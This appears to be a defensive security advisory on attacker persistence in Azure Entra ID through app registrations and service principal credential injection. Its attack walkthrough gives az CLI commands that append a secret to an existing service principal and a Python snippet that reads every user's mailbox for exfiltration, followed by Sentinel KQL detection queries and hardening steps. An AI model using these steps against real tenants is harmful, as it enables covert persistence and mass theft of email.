This issue has been assessed as high severity. Review affected configurations immediately.
When threat actors obtain admin-level access to an Azure tenant, they don’t only focus on the immediate objective. They establish persistence mechanisms that survive password resets, conditional access policy changes, and even account deletion. App registrations and service principal credential injection are the preferred technique for this in Microsoft environments — observed in Midnight Blizzard’s post-SolarWinds persistence, Scattered Spider’s SaaS compromise campaigns, and multiple M-Trends 2026 documented intrusions.
The attack is quiet, durable, and frequently missed by security teams who monitor user accounts but don’t have equivalent visibility into non-human identities.
How App Registration Persistence Works
Azure Entra ID (formerly Azure AD) service principals represent application identities — they authenticate using client secrets or certificates rather than usernames and passwords. An attacker with sufficient privileges can:
- Add a credential to an existing service principal that already has broad API permissions
- Create a new app registration and grant it Microsoft Graph API permissions (often
User.ReadWrite.All,Mail.Read,Directory.ReadWrite.All) - Grant admin consent to make those permissions active without user interaction
Once established, the attacker authenticates as the service principal using their added credential — an action that is not blocked by the victim’s MFA policies (service principals don’t use MFA) and survives user account credential changes.
Why Service Principals Bypass Normal Controls
Service principal authentication:
- Does not trigger MFA requirements
- Does not appear in “users” lists in the Entra ID admin portal by default
- Often has
owner: noneor is associated with a deleted user account - Can be granted permissions that exceed any individual user account
An attacker with Application.ReadWrite.All or Directory.ReadWrite.All can persist indefinitely regardless of what happens to the user account they used to establish access.
Attack Path Walkthrough
Step 1: Enumerate existing service principals with broad permissions
From an authenticated context, an attacker queries Microsoft Graph to find high-value service principals:
# List service principals with Directory.ReadWrite.All permission
az ad sp list --all --query "[].{displayName:displayName, appId:appId, objectId:id}" -o table
# Enumerate app role assignments for a specific SP
az role assignment list --assignee <service-principal-object-id> --all
Legitimate service principals used for automation (backup tools, monitoring agents, CI/CD pipelines) often have broad permissions and are rarely monitored for credential additions.
Step 2: Add credentials to a target service principal
# Add a new client secret to an existing service principal
az ad sp credential reset \
--id <service-principal-object-id> \
--append \
--years 2 \
--query "{ clientId: appId, clientSecret: password, tenantId: tenant }"
The --append flag adds a credential without removing existing ones, so the legitimate system continues to function normally. The attacker now has a second set of credentials that authenticates as the same service principal.
Step 3: Authenticate and exfiltrate
import requests
# Attacker authenticates as the service principal
token_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
response = requests.post(token_url, data={
"grant_type": "client_credentials",
"client_id": compromised_app_id,
"client_secret": attacker_secret,
"scope": "https://graph.microsoft.com/.default"
})
access_token = response.json()["access_token"]
# Read all users' email
headers = {"Authorization": f"Bearer {access_token}"}
users = requests.get("https://graph.microsoft.com/v1.0/users", headers=headers).json()
for user in users["value"]:
mail = requests.get(f"https://graph.microsoft.com/v1.0/users/{user['id']}/messages", headers=headers)
# Exfiltrate
If the compromised service principal has Mail.Read or Mail.ReadWrite, the attacker reads every mailbox in the tenant.
Detection: Hunting for Backdoor App Credentials
Azure Monitor / Sentinel KQL: New Credential Added to Service Principal
AuditLogs
| where OperationName == "Add service principal credentials"
or OperationName == "Update application – Certificates and secrets management"
| extend
ModifiedBy = tostring(InitiatedBy.user.userPrincipalName),
TargetSP = tostring(TargetResources[0].displayName),
TargetSPId = tostring(TargetResources[0].id),
CredentialType = tostring(TargetResources[0].modifiedProperties[0].newValue)
| where ModifiedBy != "MSGraph" // Filter Azure-internal operations
| project TimeGenerated, ModifiedBy, TargetSP, TargetSPId, CredentialType, CorrelationId
| order by TimeGenerated desc
Alert when this query returns results outside a known change management window. Service principal credential additions are rare events in well-managed tenants.
Sentinel KQL: New App Registration with High-Privilege API Permissions
AuditLogs
| where OperationName == "Add app role assignment to service principal"
| extend
AssignedRole = tostring(TargetResources[0].modifiedProperties
| where name == "AppRole.Value" | project newValue),
TargetApp = tostring(TargetResources[0].displayName),
GrantedBy = tostring(InitiatedBy.user.userPrincipalName)
| where AssignedRole has_any (
"Directory.ReadWrite.All",
"User.ReadWrite.All",
"Mail.Read",
"Mail.ReadWrite",
"Files.ReadWrite.All",
"Application.ReadWrite.All",
"RoleManagement.ReadWrite.Directory"
)
| project TimeGenerated, GrantedBy, TargetApp, AssignedRole, CorrelationId
Any of these permissions granted to a newly created app registration (check OperationName == "Add application" in the same correlation window) is high-fidelity for attacker persistence or privilege escalation.
Sentinel KQL: Service Principal Sign-In from New Location
AADServicePrincipalSignInLogs
| where ResultType == 0 // Successful
| summarize
SignInCount = count(),
Locations = make_set(Location),
IPs = make_set(IPAddress)
by ServicePrincipalName, bin(TimeGenerated, 1d)
| where array_length(IPs) > 3 // Multiple IPs in one day for a non-human identity
| order by TimeGenerated desc
Service principals in legitimate use typically authenticate from a fixed IP range (the service that uses them). Authentication from multiple IPs or unexpected geographies indicates credential compromise.
Hardening Controls
1. Restrict who can create app registrations
By default, any tenant user can create app registrations. This is almost never appropriate:
# Disable user app registration creation
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/policies/authorizationPolicy" \
--body '{"defaultUserRolePermissions": {"allowedToCreateApps": false}}'
Restrict app registration creation to a dedicated service account or privileged admin role.
2. Require admin approval for API permissions
In Entra ID portal: Enterprise Applications → Consent and Permissions → “Require admin consent for all applications.” This prevents any app (including attacker-created ones) from receiving API permissions without explicit admin approval.
3. Implement a periodic service principal audit
# Enumerate all service principals with credentials and their last use
az ad sp list --all --query "[].{Name:displayName, AppId:appId, KeyCount:length(keyCredentials)}" -o table
# For each SP with credentials, check last sign-in
az ad sp show --id <appId> --query "signInAudience"
SPs that haven’t signed in for 90+ days with active credentials are candidates for credential removal. SPs with owners set to deleted users should be investigated immediately.
4. Alert on admin consent grants
Admin consent grants are the permission step that makes a malicious app registration functional. Sentinel alert:
AuditLogs
| where OperationName == "Consent to application"
| extend
AppName = tostring(TargetResources[0].displayName),
ConsentedBy = tostring(InitiatedBy.user.userPrincipalName),
ConsentType = tostring(AdditionalDetails[0].value)
| where ConsentType == "AllPrincipals" // Tenant-wide consent
| project TimeGenerated, ConsentedBy, AppName, ConsentType
Tenant-wide consent grants should be extremely rare and should never happen without a corresponding approved change request.
5. Enable Workload Identity Federation instead of secrets
Long-lived client secrets are the attack surface. Where possible, replace client secrets with Workload Identity Federation, which allows service principals to authenticate using tokens issued by trusted OIDC providers (GitHub Actions, Azure Kubernetes Service, etc.) without any stored secret. No secret means no credential to steal or add.